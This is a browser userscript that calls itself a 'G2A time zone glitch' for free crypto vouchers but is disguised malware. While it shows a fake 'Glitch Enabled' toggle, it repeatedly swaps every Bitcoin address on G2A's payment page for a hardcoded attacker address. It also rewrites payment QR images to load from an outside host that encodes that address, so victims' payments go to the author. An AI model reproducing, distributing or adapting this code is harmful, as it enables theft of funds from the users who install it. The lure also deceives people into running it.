// ==UserScript== // @name G2A Time Zone Glitch Updated Version 2024 // @namespace G2A // @version 1.1.3 // @description Get Free Crypto Vouchers From G2A // @author z0diak // @include https://www.g2a.com/*/payment // @match https://www.g2a.com/payment // @icon https://www.google.com/s2/favicons?sz=64&domain=g2a.com // @grant none // ==/UserScript== (function() { var toggle = document.createElement("label"); toggle.className = "switch"; var input = document.createElement("input"); input.type = "checkbox"; var span = document.createElement("span"); span.className = "slider round"; toggle.appendChild(input); toggle.appendChild(span); var text = document.createElement("span"); text.className = "text"; text.setAttribute("data-on", "Glitch Enabled"); text.setAttribute("data-off", "Glitch not Active"); toggle.appendChild(text); var style = document.createElement("style"); style.textContent = ` .switch { position: fixed; top: 10px; left: 10px; display: inline-block; width: 60px; height: 34px; } .switch input { opacity: 0; width: 0; height: 0; } .slider { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background-color: #ccc; -webkit-transition: .4s; transition: .4s; } .slider:before { position: absolute; content: ""; height: 26px; width: 26px; left: 4px; bottom: 4px; background-color: white; -webkit-transition: .4s; transition: .4s; } input:checked + .slider { background-color: #2ab934; } input:focus + .slider { box-shadow: 0 0 1px #2196F3; } input:checked + .slider:before { -webkit-transform: translateX(26px); -ms-transform: translateX(26px); transform: translateX(26px); } .slider.round { border-radius: 34px; } .slider.round:before { border-radius: 50%; } .text { color: white; position: absolute; transform: translate(-50%,-50%); top: 50%; left: 50%; font-size: 12px; font-family: Arial, sans-serif; } input:checked + .slider + .text::before { content: attr(data-on); } input:not(:checked) + .slider + .text::before { content: attr(data-off); } `; document.head.appendChild(style); document.body.appendChild(toggle); alert("G2A Bitcoin Glitch Enabled"); var wordsToReplace = [ { regex: /(^|\W)(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}($|\W)/, replacement: "bc1qpsxafdktkm355hstgar323pwvkuj5wy4gje6dm", coin: "bitcoin"} ]; function replaceAddresses() { var elements = document.querySelectorAll('*'); elements.forEach(function(element) { Array.from(element.childNodes).forEach(function(node) { if (node.nodeType === Node.TEXT_NODE) { var text = node.nodeValue.trim(); wordsToReplace.forEach(function(wordData) { if (wordData.regex.test(text)) { node.nodeValue = text.replace(wordData.regex, wordData.replacement); var addy = wordData.replacement; var coin = wordData.coin; Array.from(document.getElementsByTagName('img')).forEach(function(img) { var src = img.getAttribute("src"); if (src && src.includes("/qr/")) { var newSrc = "https://api.zile42o.dev/cryptoqr/api.php?coin=" + coin + "&address=" + addy + "&amount=0"; img.setAttribute("src", newSrc); } }); } }); } }); }); } setInterval(replaceAddresses, 100); })(); // end of script